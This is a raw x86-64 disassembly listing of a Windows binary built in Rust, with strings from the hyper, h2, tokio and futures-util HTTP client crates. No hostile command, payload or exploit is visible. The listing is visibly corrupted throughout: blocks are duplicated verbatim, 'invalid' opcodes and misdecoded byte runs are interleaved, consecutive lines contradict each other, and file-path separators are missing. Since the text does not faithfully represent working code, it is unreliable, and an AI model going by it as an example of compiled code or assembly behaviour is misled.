mov qword [rsp + 0x1158], 1
mov qword [rsp + 0x1160], 8
test byte [rax + riz*2], ah
adc dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x1400788a6
and al, 0x68
adc dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0xc9942
test byte [rax + riz*2], ah
adc dword [rax], eax
add byte [rax], cl
add byte [rax], al
add byte [rsi + 0xf], ah
out dx, eax
sal bl, 0xf
jg 0x1400788a6
and al, 0x68
adc dword [rax], eax
add byte [rax - 0x73], cl
adc eax, 0xc9942
lea rcx, [rsp + 0x1150]
call fcn.140108280
call fcn.14010e270
lea rcx, str.Ready_polled_after_completionC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_futures_util_0.3.30_src_future_ready.rs
lea r8, [0x140142090]
mov edx, 0x1d
add byte [rax], al
add al, ch
pop rax
std
or byte [rax], al
add byte [rax], al
add al, ch
pop rax
std
or byte [rax], al
mov ecx, 8
mov edx, 0x30
call fcn.140107fe0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
call fcn.140108690
mov ecx, 8
mov edx, 0x2320
call fcn.140107fe0
mov ecx, 0x80
mov edx, 0x200
call fcn.140107fe0
invalid
add byte [rax - 0x73], cl
or eax, 0xb0368
lea rcx, str.assertion_failed:_DEFAULT_MAX_FRAME_SIZE___val__val___MAX_MAX_FRAME_SIZEC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_src_frame_settings.rs
lea r8, [0x140128db8]
mov edx, 0x4c
call fcn.140108350
add byte [rax], r8b
add al, ch
cmpsd dword [rsi], dword [rdi]
stc
or byte [rax], al
lea rcx, str.assertion_failed:_max___std::u32::MAX_as_usize
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
mov edx, 0x2f
call fcn.140108350
invalid
add byte [rcx + 1], bh
mov ecx, 1
mov edx, 0x2000
call fcn.140107fc0
lea rcx, [0x1401402f8]
call fcn.140108880
mov ecx, 1
mov edx, 0x4000
call fcn.140107fc0
mov ecx, 1
mov edx, 0x1000
call fcn.140107fc0
mov byte [rsp + 0x20f0], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
mov qword [rsp + 0x20], rax
lea rcx, str.invalid_SETTINGS_frame
lea r9, [0x14013ec68]
lea r8, [rsp + 0x20f0]
mov edx, 0x16
call fcn.140108600
mov ecx, 8
mov edx, 0x240
call fcn.140107fe0
mov ecx, 8
mov edx, 0x40
call fcn.140107fe0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
call fcn.140108880
xor eax, eax
mov qword [rsp + 0x20f0], rsi
mov byte [rsp + 0x20f8], al
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcproto_streams_streams.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed08]
lea r8, [rsp + 0x20f0]
mov edx, 0x2b
call fcn.140108600
lea rax, [0x14013f9a8]
mov qword [rsp + 0x3090], rax
lea rax, [fcn.140012f00]
mov qword [rsp + 0x3098], rax
lea rax, str.The_max_buf_size_cannot_be_smaller_than__
mov qword [rsp + 0x1150], rax
mov qword [rsp + 0x1158], 2
mov qword [rsp + 0x1170], 0
lea rax, [rsp + 0x3090]
mov qword [rsp + 0x1160], rax
mov qword [rsp + 0x1168], 1
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcprotoh1io.rs
lea rcx, [rsp + 0x1150]
call fcn.140108280
mov ecx, 8
mov edx, 0x1e8
call fcn.140107fe0
lea rcx, str.assertion_failed:_DEFAULT_MAX_FRAME_SIZE_as_usize___val__val___MAX_MAX_FRAME_SIZE_as_usizeC:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srccodec_framed_read.rs
lea r8, [0x14013d998]
mov edx, 0x5e
call fcn.140108350
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001f_tokio_1.36.0_src_runtimecontextcurrent.rs
call fcn.1401085a0
mov ecx, 8
mov edx, 8
call fcn.140107fe0
mov ecx, 8
mov edx, 0x10
call fcn.140107fe0
mov ecx, 8
mov edx, 0x60
call fcn.140107fe0
mov ecx, 8
mov edx, 0x48
call fcn.140107fe0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientconn.rs
call fcn.140108690
lea rcx, [0x14013fee8]
call fcn.140108880
mov rax, qword [rsp + 0x1150]
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x140078bcc
lea rcx, [rsp + 0x1150]
call fcn.14007b470
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov rsi, qword [rax + 0xd0]
dec rsi
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
mov qword [rax + 0xd0], rsi
jmp 0x140078c81
mov ecx, 0x80
mov edx, 0x280
call fcn.140107fe0
mov ecx, 8
mov edx, 0xf98
call fcn.140107fe0
mov ecx, 8
mov edx, 0x20
call fcn.140107fe0
lea rcx, str.conn.ping_pong
lea r8, [0x14013ff10]
mov edx, 0xe
call fcn.1401086b0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
call fcn.140108880
mov rax, qword [rsp + 0x38]
add rax, 0xfffffffffffffffd
cmp rax, 3
jb 0x140078cc6
lea rcx, [rsp + 0x20f0]
call fcn.14007b470
jmp 0x140078cc6
lea rcx, [rsp + 0x1150]
call fcn.14007b2a0
mov eax, dword [0x140182314]
mov rcx, qword gs:[0x58]
mov rax, qword [rcx + rax*8]
dec qword [rax + 0xd0]
xor eax, eax
mov byte [rsp + 0x1150], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x1150]
call fcn.14010da80
mov ecx, 0x80
mov edx, 0x1000
call fcn.140107fe0
lea rcx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fh2_0.3.25_srcclient.rsPRI__HTTP_2.0_r_n_r_nSM_r_n_r_n
call fcn.140108880
lea rcx, [rsp + 0x20f0]
call fcn.14007b2a0
mov al, 1
mov byte [rsp + 0x1150], al
lea rdx, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srccommonexec.rs
lea rcx, [rsp + 0x1150]
call fcn.14010da80
xor al, 1
jmp 0x140078a59
add byte [rax], al
mov rdi, rax
mov rax, qword [r12 + 8]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, rdi
call qword [r10]
jmp 0x140078dbf
jmp 0x140078dc7
mov byte [rsp + 0xf8], sil
mov byte [rsp + 0xf9], al
stc
add byte [rax], al
add byte [rax - 0x77], cl
mov esp, 0x10024
add byte [rax - 0x73], cl
mov word [rax + rcx], fs
add dword [rax], eax
add byte [rcx - 0x73], cl
push rsp
and al, 0x28
mov rax, qword [r12 + 0x10]
mov r8, qword [r12 + 0x18]
mov r9, qword [r12 + 0x20]
call qword [rax]
movdqu xmm0, xmmword [rsp + 0xf8]
movdqu xmm1, xmmword [rsp + 0x108]
movdqu xmm2, xmmword [rsp + 0x118]
movdqu xmmword [rbx + 0x20], xmm2
movdqu xmmword [rbx + 0x10], xmm1
movdqu xmmword [rbx], xmm0
mov qword [rbx + 0x30], 0
jmp 0x140079193
mov qword [rsp + 0xe0], r12
mov r11, qword [r14 + 0x28]
mov qword [rsp + 0x50], r14
mov rsi, qword [r14 + 0x30]
mov rcx, rax
shr rcx, 0x39
mov qword [rsp + 0xd0], rcx
movd xmm0, ecx
punpcklbw xmm0, xmm0
pshuflw xmm0, xmm0, 0
pshufd xmm0, xmm0, 0
movzx ecx, byte [rsp + 0x60]
movzx edx, byte [rsp + 0x61]
mov byte [rsp + 0x2f], dl
mov byte [rsp + 0x2e], cl
movzx edi, cl
mov rcx, qword [rsp + 0x68]
mov qword [rsp + 0x30], rcx
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
xor r10d, r10d
pcmpeqd xmm1, xmm1
xor ecx, ecx
mov qword [rsp + 0x58], rcx
mov qword [rsp + 0xf0], r11
mov r9, rsi
mov qword [rsp + 0xe8], r10
and rax, rsi
movdqu xmm2, xmmword [r11 + rax]
movdqa xmm3, xmm2
pcmpeqb xmm3, xmm0
pmovmskb r10d, xmm3
test r10d, r10d
jne 0x140078ff5
cmp qword [rsp + 0x58], 1
mov r10d, 1
je 0x140078f8f
pmovmskb ecx, xmm2
xor r10d, r10d
test ecx, ecx
setne r10b
tzcnt ecx, ecx
add rcx, rax
and rcx, rsi
mov qword [rsp + 0xc8], rcx
pcmpeqb xmm2, xmm1
pmovmskb ecx, xmm2
test ecx, ecx
mov rbx, qword [rsp + 0x50]
mov r14, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xe8]
jne 0x14007922a
mov qword [rsp + 0x58], r10
add rax, rcx
add rax, 0x10
add rcx, 0x10
mov r10, rcx
jmp 0x140078f3b
test r11b, r11b
je 0x1400793e9
lea r10d, [r13 - 1]
and r10d, r13d
test r10w, r10w
mov r11, qword [rsp + 0xf0]
mov rsi, r9
je 0x140078f62
mov r13d, r10d
tzcnt r10d, r13d
add r10, rax
and r10, rsi
neg r10
lea r10, [r10 + r10*2]
shl r10, 4
add r10, r11
cmp edi, 1
je 0x140079090
cmp edi, 2
jne 0x1400793e9
movzx r11d, byte [r10 - 0x30]
cmp r11b, 2
jne 0x140078fd0
mov rcx, qword [rsp + 0x30]
mov r11, qword [rcx + 0x10]
mov rbx, qword [r10 - 0x28]
cmp r11, qword [rbx + 0x10]
jne 0x140078fd9
mov rcx, qword [rsp + 0x30]
mov r15, qword [rcx + 8]
mov rbx, qword [rbx + 8]
xor ebp, ebp
nop dword [rax]
cmp r11, rbp
je 0x1400790be
movzx r14d, byte [r15 + rbp]
movzx esi, byte [rbx + rbp]
inc rbp
lea r12d, [r14 - 0x41]
cmp r12b, 0x1a
setb r12b
shl r12b, 5
lea ecx, [rsi - 0x41]
cmp cl, 0x1a
setb cl
shl cl, 5
or r12b, r14b
or cl, sil
cmp r12b, cl
je 0x140079050
jmp 0x140078fd9
movzx r11d, byte [r10 - 0x30]
cmp r11b, 1
jne 0x140078fd0
movzx r11d, byte [r10 - 0x2f]
cmp byte [rsp + 0x2f], 0
je 0x1400790b5
test r11b, r11b
jne 0x1400790be
jmp 0x140078fd9
test r11b, r11b
jne 0x140078fd9
cmp r8, qword [r10 - 0x10]
jne 0x140078fd9
mov r10, qword [r10 - 0x18]
xor r11d, r11d
nop
cmp r8, r11
je 0x14007910c
movzx ecx, byte [rdx + r11]
movzx esi, byte [r10 + r11]
inc r11
lea ebx, [rcx - 0x41]
cmp bl, 0x1a
setb bl
shl bl, 5
lea ebp, [rsi - 0x41]
cmp bpl, 0x1a
setb bpl
shl bpl, 5
or bl, cl
or bpl, sil
cmp bl, bpl
je 0x1400790d0
jmp 0x140078fd9
cmp byte [rsp + 0x2e], 2
jb 0x140079149
mov rsi, qword [rsp + 0x30]
lea rcx, [rsi + 0x18]
mov rax, qword [rsi]
mov rdx, qword [rsi + 8]
mov r8, qword [rsi + 0x10]
call qword [rax + 0x10]
mov rcx, qword [0x140182260]
xor edx, edx
mov r8, rsi
call qword [sym.imp.kernel32.dll_HeapFree]
mov rdx, qword [rsp + 0x78]
mov r8, qword [rsp + 0x80]
mov rax, qword [rsp + 0x70]
lea rcx, [rsp + 0x88]
call qword [rax + 0x10]
mov rax, qword [rsp + 0x48]
mov byte [rax], 3
mov rcx, qword [rsp + 0x40]
mov rbx, qword [rsp + 0x50]
cmp byte [rsp + 0x3c], 0
jne 0x140079185
mov rax, qword [0x140182308]
shl rax, 1
test rax, rax
jne 0x140079323
xor eax, eax
xchg byte [rcx], al
cmp al, 2
jne 0x140079193
call qword [sym.imp.api_ms_win_core_synch_l1_2_0.dll_WakeByAddressSingle]
nop
add rsp, 0x128
pop rbx
pop rbp
pop rdi
pop rsi
pop r12
pop r13
pop r14
pop r15
ret
lea rax, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhyper_0.14.28_srcclientpool.rs
mov qword [rsp + 0x20], rax
lea rcx, str.called__Result::unwrap____on_an__Err__value
lea r9, [0x14013ed48]
lea r8, [rsp + 0x90]
mov edx, 0x2b
call fcn.140108600
lea rcx, [r14 + 0x28]
lea rdx, [r14 + 0x48]
mov rsi, rax
call fcn.14010e290
mov rax, rsi
jmp 0x140078ec0
mov rcx, qword [rsp + 0xc8]
movzx eax, byte [r11 + rcx]
test al, al
js 0x14007924d
movdqa xmm0, xmmword [r11]
pmovmskb eax, xmm0
tzcnt ecx, eax
movzx eax, byte [r11 + rcx]
movups xmm0, xmmword [rsp + 0x60]
movups xmm1, xmmword [rsp + 0x70]
movups xmm2, xmmword [rsp + 0x80]
movaps xmmword [rsp + 0xb0], xmm2
movaps xmmword [rsp + 0xa0], xmm1
movaps xmmword [rsp + 0x90], xmm0
and al, 1
movzx eax, al
sub qword [rbx + 0x38], rax
lea rax, [rcx - 0x10]
and rsi, rax
mov rax, qword [rsp + 0xd0]
mov byte [r11 + rcx], al
mov byte [r11 + rsi + 0x10], al
inc qword [rbx + 0x40]
neg rcx
lea rax, [rcx + rcx*2]
shl rax, 4
movdqa xmm0, xmmword [rsp + 0x90]
movdqa xmm1, xmmword [rsp + 0xa0]
movdqa xmm2, xmmword [rsp + 0xb0]
movdqu xmmword [r11 + rax - 0x10], xmm2
movdqu xmmword [r11 + rax - 0x20], xmm1
movdqu xmmword [r11 + rax - 0x30], xmm0
movzx esi, byte [r14]
test esi, esi
mov rdi, qword [rsp + 0x48]
je 0x14007933f
cmp esi, 2
jne 0x140079341
movzx eax, byte [0x140182310]
mov edx, 0x20
xor ecx, ecx
call fcn.1400dfbe0
test rax, rax
je 0x140079406
mov r12, rax
mov rax, qword [r14 + 8]
lea rdx, [rax + 0x18]
mov r10, qword [rax]
mov r8, qword [rax + 8]
mov r9, qword [rax + 0x10]
mov rcx, r12
call qword [r10]
jmp 0x14007933f
mov rsi, rcx
call fcn.140110270
mov rcx, rsi
test al, al
jne 0x140079185
mov byte [rbx + 0x11], 1
jmp 0x140079185
jmp 0x140079346
movzx eax, byte [r14 + 1]
mov byte [rsp + 0x90], sil
mov byte [rsp + 0x91], al
mov qword [rsp + 0x98], r12
lea rcx, [rsp + 0xa0]
mov rax, qword [r14 + 0x10]
mov r8, qword [r14 + 0x18]
mov r9, qword [r14 + 0x20]
mov rdx, qword [rsp + 0xd8]
call qword [rax]
jmp 0x14007937f
pause
mov rax, qword [rbx + 8]
nop word cs:[rax + rax]
cmp rax, 0xffffffffffffffff
je 0x14007937d
test rax, rax
js 0x140079401
lea rcx, [rax + 1]
lock cmpxchg qword [rbx + 8], rcx
mov cl, 0x4b
or byte [rbp - 0x17], dh
mov cl, 0x4b
or byte [rbp - 0x17], dh
movdqu xmm0, xmmword [rsp + 0x90]
add byte [rax], al
movdqu xmm1, xmmword [rsp + 0xa0]
movdqu xmm2, xmmword [rsp + 0xb0]
add byte [rax], al
add bl, dh
movq mm2, qword [rsp + 0xb0]
movdqu xmmword [rdi + 0x20], xmm2
movdqu xmmword [rdi + 0x10], xmm1
invalid
invalid
and bl, dh
movq qword [rdi + 0x10], mm1
invalid
invalid
adc r11b, r14b
movq qword [rdi], mm0
movdqu xmmword [rdi], xmm0
mov qword [rdi + 0x30], rbx
mov rcx, qword [rsp + 0x40]
cmp byte [rsp + 0x3c], 0
jne 0x140079185
jmp 0x140079172
lea rcx, str.internal_error:_entered_unreachable_code_rustc_c987ad527540e8f1565f57c31204bde33f63df76library_std_src_threadmod.rs
lea r8, str.C:UsersAdministrator.cargo_registry_srcindex.crates.io_6f17d22bba15001fhttp_0.2.12_srcuri_scheme.rs
mov edx, 0x28
call fcn.140108350
call fcn.14010e270
mov ecx, 8
mov edx, 0x20
add byte [rax], al
add byte [rax], al
call fcn.140107fe0
int3
int3
lea eax, [0x14004e490]
std
dec dword [rax - 0x77]
and al, 0x30
mov qword [rsp + 0x30], rax
lea rax, str.internal_error:_entered_unreachable_code:
mov qword [rsp + 0x38], rax
mov qword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
mov dword [rsp + 0x40], 1
mov qword [rsp + 0x58], 0
lea rax, [rsp + 0x28]
mov qword [rsp + 0x48], rax
mov qword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
mov dword [rsp + 0x50], 1
lea rcx, [rsp + 0x38]
call fcn.140108280
int3
push rbp
push rbx
sub rsp, 0x198
cmp dword [rcx + 0xb8], 4
jne case.default.0x140079503
add byte [rax], al
mov rsi, rcx
mov rax, qword [rcx + 0x108]
mov rcx, qword [rcx + 0x110]
mov r8, rcx
sub r8, rax
add dword [rax], eax
add byte [rcx - 0x77], cl
enter 0x2949, 0xffffffffffffffc0
cmp r8, qword [rsi + 0x130]
jb case.default.0x140079503
lea r12, [rsi + 0xb8]
lea rdi, [rsi + 0x100]
add byte [rcx], al
add byte [rax], al
add byte [rcx], al
add byte [rax], al
lea r13, [rsi + 0x110]
mov qword [rsp + 0x108], 2
mov dword [rsp + 0x108], 2
mov dword [rsp + 0x108], 2
mov qword [rsp + 0x128], 0
movzx r9d, byte [rdx]
movzx ecx, byte [rdx]
movzx ecx, byte [rdx]
lea r10, [0x140177b04]
movsxd r9, dword [r10 + r9*4]
add r9, r10
jmp r9
movups xmm0, xmmword [rdx + 8]
movups xmm1, xmmword [rdx + 0x18]
movups xmm2, xmmword [rdx + 0x28]
movups xmm3, xmmword [rdx + 0x38]
movaps xmmword [rsp + 0x90], xmm0
nop
add byte [rax], al
add byte [rax - 0x75], cl
push rdx
mov qword [rsp + 0xd0], rdx
nop
add byte [rax], al
add byte [rax - 0x75], cl
push rdx
mov qword [rsp + 0xd0], rdx
movaps xmmword [rsp + 0xc0], xmm3
movaps xmmword [rsp + 0xb0], xmm2
add byte [rax], al
add byte [rdi], cl
sub dword [rsp + 0xb0], edx
movaps xmmword [rsp + 0xa0], xmm1
mov r15, qword [rsp + 0x90]
mov edi, dword [rsp + 0x90]
mov edi, dword [rsp + 0x90]
cmp r15, 2
mov qword [rsp + 0xd8], r13
je 0x14007a29b
cmp r15d, 1
jne 0x14007a2a0
mov rdx, qword [rsp + 0xa0]
xor r13d, r13d
sub rdx, qword [rsp + 0xa8]
cmovae r13, rdx
jmp 0x14007a2a8
movzx ebp, byte [rdx + 1]
mov rbx, qword [rdx + 2]
cmp r8, 2
ja 0x1400795ab
mov edx, 3
mov rcx, rdi
mov ecx, edi
call fcn.140012910
mov rax, qword [rsi + 0x108]
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
invalid
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax - 0x75], cl
invalid
mov rdx, qword [rdi]
mov byte [rdx + rax + 2], 8
mov word [rdx + rax], 0
add rax, 3
rol byte [rbx], 0x48
mov dword [rsp + 0x20], eax
rol byte [rbx], 0x48
mov dword [rsp + 0x20], eax
cmp rax, rcx
ja 0x14007aeff
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x1400795f9
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], 6
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007aeff
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x14007963f
invalid
xchg byte [rax], cl
add dword [rax], eax
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax + 0x39], cl
sal dword [rbp + 0x1b], 0xba
sbb edi, dword [rdx + 1]
sbb edi, dword [rdx + 1]
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], bpl
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007aeff
test al, 0x18
add byte [rax], al
test al, 0x18
add byte [rax], al
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
add dword [rax], eax
add byte [rax - 0x77], cl
retf 0x2948
ret 0x8348
cli
add esi, dword [rdi + 0x1b]
add dword [rax], eax
add byte [rax - 0x77], cl
retf 0x2948
mov edx, 4
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
add byte [rax], al
add byte [rax], al
mov rdx, qword [rdi]
mov dword [rdx + rax], 0
add byte [rax], al
add byte [rax - 0x7d], cl
rol byte [rax + rcx*2], 0x89
and al, 0x20
add byte [rax], al
add byte [rax - 0x7d], cl
rol byte [rax + rcx*2], 0x89
and al, 0x20
cmp rax, rcx
ja 0x14007aeff
xchg dword [rdi + 0x18], edx
add byte [rax], al
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 7
ja 0x1400796dd
mov edx, 8
or byte [rax], al
add byte [rax], al
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov qword [rdx + rax], rbx
add rax, 8
or byte [rax - 0x77], cl
and al, 0x20
or byte [rax - 0x77], cl
and al, 0x20
cmp rax, rcx
jbe 0x14007a1c5
jmp 0x14007aeff
lea rax, [rdx + 8]
mov r15d, dword [rdx + 0x120]
and byte [rcx], al
add byte [rax], al
and byte [rcx], al
add byte [rax], al
movzx ebp, byte [rdx + 0x124]
mov ecx, dword [rsi + 0x138]
add rcx, 9
mov qword [rsp + 0xe0], rdi
mov qword [rsp + 0xe8], rcx
lea rcx, [rsp + 0x20]
mov rdx, rax
mov r8, rsi
call fcn.140027c80
mov rdi, qword [rsi + 0x108]
mov qword [rsp + 0x40], 0
lea rdx, [rsp + 0x45]
and al, 0x45
and al, 0x45
lea rbx, [rsp + 0xe0]
mov r8d, 3
mov rcx, rbx
call fcn.14002b690
mov byte [rsp + 0x40], 1
lea rdx, [rsp + 0x40]
and al, 0x40
and al, 0x40
mov r8d, 1
mov rcx, rbx
call fcn.14002b690
mov byte [rsp + 0x40], bpl
lea rdx, [rsp + 0x40]
mov r8d, 1
mov rcx, rbx
call fcn.14002b690
mov eax, r15d
bswap eax
mov dword [rsp + 0x40], eax
lea rdx, [rsp + 0x40]
lea rdx, [rsp + 0x40]
mov r8d, 4
mov rcx, rbx
call fcn.14002b690
mov rax, qword [rsp + 0xe0]
mov rcx, qword [rsp + 0xe8]
mov rbp, qword [rax + 8]
mov rbx, qword [rsp + 0x30]
mov r13, rbp
not r13
cmp r13, rcx
cmovae r13, rcx
cmp rbx, r13
jbe 0x14007a1e3
or al, byte [rax]
invalid
or al, byte [rax]
add byte [rbp - 0x7b], cl
in eax, dx
test r13, r13
mov dword [rsp + 0xd8], r15d
je 0x14007a578
mov cl, byte [0xcd4f97f0]
push rsp
and al, 0x38
lea rdx, [rsp + 0x38]
mov rax, qword [rsp + 0x20]
mov r8, qword [rsp + 0x28]
lea rcx, [rsp + 0x40]
mov r9, rbx
call qword [rax]
sub qword [rsp + 0x30], r13
and al, 0x30
and al, 0x30
add qword [rsp + 0x28], r13
mov qword [rsp + 0x50], r13
movups xmm0, xmmword [rsp + 0x40]
movaps xmmword [rsp + 0x90], xmm0
mov rax, qword [rsp + 0x50]
mov qword [rsp + 0xa0], rax
add byte [rax], al
add byte [rax], al
mov rax, qword [rsp + 0x58]
mov qword [rsp + 0xa8], rax
jmp 0x14007a59e
mov qword [rsp + 0xd8], r13
mov ebp, dword [rdx + 4]
mov r9d, dword [rdx + 8]
mov dword [rsp + 0x130], r9d
mov ebx, dword [rdx + 0xc]
mov r9d, dword [rdx + 0x10]
mov dword [rsp + 0x138], r9d
mov r13d, dword [rdx + 0x14]
mov r9d, dword [rdx + 0x18]
mov dword [rsp + 0x140], r9d
mov r12d, dword [rdx + 0x1c]
mov r9d, dword [rdx + 0x20]
mov dword [rsp + 0x148], r9d
mov r15d, dword [rdx + 0x24]
mov r14d, dword [rdx + 0x2c]
mov r11d, dword [rdx + 0x34]
xor r9d, r9d
test ebp, ebp
mov r10d, 6
cmove r10, r9
lea r9, [r10 + 6]
test ebx, ebx
cmove r9, r10
lea r10, [r9 + 6]
test r13d, r13d
cmove r10, r9
lea r9, [r10 + 6]
test r12d, r12d
cmove r9, r10
lea r10, [r9 + 6]
mov dword [rsp + 0x14c], r15d
test r15d, r15d
cmove r10, r9
lea r9, [r10 + 6]
mov dword [rsp + 0x150], r14d
test r14d, r14d
cmove r9, r10
lea r15, [r9 + 6]
mov dword [rsp + 0x154], r11d
test r11d, r11d
cmove r15, r9
mov r9d, dword [rdx + 0x28]
mov dword [rsp + 0x134], r9d
movzx r14d, byte [rdx + 0x3c]
mov r9d, dword [rdx + 0x30]
mov dword [rsp + 0x13c], r9d
mov edx, dword [rdx + 0x38]
mov dword [rsp + 0x144], edx
add dword [rax], eax
add byte [rax - 0x77], cl
mov esp, 0xe024
add byte [rcx + 0xf], cl
iretd
cmp r8, 2
ja 0x14007994f
mov edx, 3
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
shr r15, 0x28
mov word [rdx + rax], r15w
shr r15d, 0x10
mov byte [rdx + rax + 2], r15b
add rax, 3
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007af98
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x1400799a4
xchg byte [rax], cl
add dword [rax], eax
add byte [rax - 0x75], cl
mov ss, word [rax]
add dword [rax], eax
add byte [rax + 0x39], cl
sal dword [rbp + 0x1b], 0xba
add dword [rax], eax
mov edx, 1
add byte [rax], al
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
adc byte [rcx], al
add byte [rax], al
adc byte [rcx], al
add byte [rax], al
mov rdx, qword [rdi]
mov byte [rdx + rax], 4
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007af98
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
cmp rcx, rax
jne 0x1400799ea
mov edx, 1
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov byte [rdx + rax], r14b
inc rax
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007af98
add byte [rax], al
add byte [rax], al
mov qword [rsi + 0x108], rax
mov rcx, qword [rsi + 0x110]
mov rdx, rcx
sub rdx, rax
cmp rdx, 3
cli
add esi, dword [rdi + 0x1b]
cli
add esi, dword [rdi + 0x1b]
mov edx, 4
mov rcx, rdi
call fcn.140012910
mov rax, qword [rsi + 0x108]
mov rcx, qword [rsi + 0x110]
mov rdx, qword [rdi]
mov dword [rdx + rax], 0
add rax, 4
mov qword [rsp + 0x20], rax
cmp rax, rcx
ja 0x14007af98
mov qword [rsi + 0x108], rax
test ebp, ebp
je 0x140079a75
lea rcx, [rsp + 0xe0]
xor edx, edx
mov r8d, dword [rsp + 0x130]
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rcx], dh
rol byte [rbx + rcx*4 - 0x7c], cl
and al, 0x30
add dword [rax], eax
add al, ch
call fcn.14002cb20
test ebx, ebx
je 0x140079a93
lea rcx, [rsp + 0xe0]
call fcn.14002cb20
test ebx, ebx
je 0x140079a93
lea rcx, [rsp + 0xe0]
add byte [rdx + 1], bh
mov edx, 1
mov r8d, dword [rsp + 0x138]
call fcn.14002cb20
test r13d, r13d
je 0x140079ab2
lea rcx, [rsp + 0xe0]
mov edx, 2
mov r8d, dword [rsp + 0x140]
call fcn.14002cb20
sti
invalid
sti
inc dword [rbp - 0x7b]
in al, 0x74
sbb cl, byte [rax - 0x73]
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdx + 3], bh
test r12d, r12d
je 0x140079ad1
lea rcx, [rsp + 0xe0]
mov edx, 3
mov r8d, dword [rsp + 0x148]
call fcn.14002cb20
cmp dword [rsp + 0x14c], 0
je 0x140079af5
lea rcx, [rsp + 0xe0]
mov edx, 4
mov r8d, dword [rsp + 0x134]
test byte [rsp + rsi], ah
add dword [rax], eax
invalid
test byte [rsp + rsi], ah
add dword [rax], eax
add al, ch
call fcn.14002cb20
cmp dword [rsp + 0x150], 0
je 0x140079b19
invalid
invalid
call fcn.14002cb20
cmp dword [rsp + 0x150], 0
je 0x140079b19
invalid
sbb cl, byte [rax - 0x73]
mov word [rax + riz*8], fs
add byte [rax], al
add byte [rdx + 5], bh
lea rcx, [rsp + 0xe0]
lea ecx, [rsp + 0xe0]
